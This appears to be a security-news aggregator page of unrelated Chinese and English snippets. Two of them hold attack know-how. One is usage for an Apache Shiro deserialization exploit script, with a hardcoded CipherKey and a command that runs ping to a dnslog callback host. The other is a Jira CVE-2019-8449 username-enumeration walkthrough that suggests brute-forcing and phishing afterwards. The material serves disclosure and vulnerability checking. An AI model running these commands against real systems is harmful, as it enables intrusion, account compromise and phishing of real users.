Aggregator

细说Tomcat AJP协议文件包含漏洞原理

How the world responds to Coronavirus can teach cyber-defenders a lot about risk communication, incident response, and how controls work… or don’t.

创新沙盒比赛十强名单公布后，各家报道都纷纷加以分析，指出从榜单构成数目来看，应用安全和SaaS安全占据绝大多数。虽然赛事组织者不满固步自封，努力创新求变，套路明显发生改变也是正常的，但市场趋势真的是应用安全要占据半壁江山吗？

Financial services are a well-known target of attack, based on a range of motivations. F5 Labs' Preston Hogue writes for SecurityWeek, discussing financial institutions' unique security environment , and how the need to understand the entire organism is critical.

Guardicore?s Threat Intelligence Firewall blocks connections to malicious IPs, limiting security attack surface before reaching critical assets.

Earlier this year, Akamai's Enterprise team tackled the problem of DGA detection in the wild by using Neural Networks, essentially creating a state-of-the-art solution for near online detection of DGA communication....

一个非常值得一刷的靶场

汇聚共克时艰的网安力量，助力打赢疫情防控阻击战

本文将分享一个RocketMQ的漏洞从发现到自动化利用的实践过程，最后也将安利一个开源的神器Arthas(阿尔萨斯)。本文技术含金量不高，但也希望读者能从中有所收获。

自从聊天软件消息撤回功能问世后，对于撤回的消息，我们对它一直有种强烈的好奇感。“Ta刚撤回了什么？是骂我的话？还是说喜欢我？还是把发给其他人的消息误发给了我？好气呀，都看不到了...”这是我们看到消息被撤回后的内心独白。但是今天，看完了本篇文章你就可以说： 我们看一下效果图，撤回的消息被我们看到了，

Pass the Cookie made it into the latest 2600 magazine! Very excited about this! I was just walking around Capitol Hill and stopped by Ada’s Technical Books on 15th Avenue - a great coffee shop with lots of technical books. Right after walking in to grab a cup of tea, I saw the latest Hacker Quarterly. A few months back I submitted an article about “Pass the Cookie”, so I had to check, and the article got indeed published!

Shiro_exploit用于检测与利用Apache Shiro反序列化漏洞脚本。可以帮助企业发现自身安全漏洞。

工具下载地址：Shiro_Exploit

该脚本通过网络收集到的22个key，利用ysoserial工具中的URLDNS这个Gadget，并结合dnslog平台实现漏洞检测。漏洞利用则可以选择Gadget和参数，增强灵活性。

环境

Python2.7

requests

Jdk 1.8

使用说明 usage: shiro_exploit.py [-h] -u URL [-t TYPE] [-g GADGET] [-p PARAMS] [-k KEY] OPTIONS: -h, --help show this help message and exit -u URL, --url URL Target url. -t TYPE, --type TYPE Check or Exploit. Check :1 , Exploit:2 , Find gadget:3 -g GADGET, --gadget GADGET gadget -p PARAMS, --params PARAMS gadget params -k KEY, --key KEY CipherKey Example: python shiro_exploit.py -u target

检测默认只需要使用-u参数即可。

检测可用gadget的方式可以运行

python shiro_exploit.py -u http://target/ -t 3 -p "ping -c 2 {dnshost}" -k "kPH+bIxk5D2deZiIxcaaaA=="

程序执行时会获取dnslog的域名替换 {dnshost} 这个值。不需要进行修改。目前还没解决windows和linux系统通用性的问题。这里-p自己根据实际情况指定下吧。

Using a few free web sources and a spreadsheet, security teams can use machine learning to quickly predict which critical vulnerabilities will be exploited.

概念 inline hook是一种通过修改机器码的方式来实现hook的技术。 原理 对于正常执行的程序，它的函数调用流程大概是这样的： 0x1000地址的call指令执行后跳转到0x3000地址处执行，执行完毕后再返回执行call指令的下一条指令。 我们在hook的时候，可能会读取或者修改call指

The global adoption of IPv6 is important to the future of the internet and Akamai has been committed to helping move IPv6 deployment forward ever since we launched production IPv6 support in 2012.

一个很攻击门槛很低的漏洞。可结合其它漏洞配合来进行攻击。

首先来简单说一下这个漏洞，该漏洞就是在Jira 8.4.0以前的版本，攻击者可以在不经过授权的情况下访问/rest/api/latest/groupuserpicker这个路径来枚举用户。漏洞危害评级中危。

2020年2月3日在exploit-db上公布了该漏洞利用脚本。地址：
Jira 8.3.4 - Information Disclosure (Username Enumeration) 。

其漏洞很简单，只需要访问 http://target/rest/api/latest/groupuserpicker?query=admin （target为目标jira系统地址）。如果返回的是json字符串就说明存在漏洞。如果返回"You are not authenticated. Authentication required to perform this operation." 则说明不存在这个漏洞。

那漏洞应该如何利用呢？
1、通过字典方式，探测用户是否存在。
2、如果存在漏洞，那么一旦匹配到结果，则会返回json格式的字符串，其中包含来用户民、邮箱、和显示的名字信息。在实际测试中发现，请求的参数不一定是用户的全拼，例如我们输入c，也是可以返回相关结果的。我们可以改变query参数的值，从a至z遍历。这样就可以获取系统中的用户名列表。

通过以上获取信息后，可以进行后续的利用。比如爆破用户密码，邮箱密码，发送钓鱼邮件等等。具体根据实际场景和相关经验进行扩展。

相关连接

1. Jira 8.3.4 - Information Disclosure (Username Enumeration)

2. More Jira Enumeration (usernames) – CVE-2019-8449

3. User enumeration through the groupuserpicker api resource - CVE-2019-8449

以JohnDoe为核心的，所谓的匿名者成员，已经开始对国内的信息化系统和网站服务器攻击。

An F5 Labs survey of Gen Z-ers revealed they are not much more security savvy online than Millennials.

Final Year Project - Web Application Security Principles About 18 years ago I worked on the final year project for my Bachelor’s degree in Computer Science. I had just gotten interested in security and was learning about security principles. The title of the project was “Web Application Security Principles - Designing Secure Web Based Enterprise Solutions”. Looking back, a really cool thing was that I had just started working at Microsoft as an Associate Development Consultant and was bold enough to send the paper last minute over to Michael Howard - who responded and indeed reviewed it!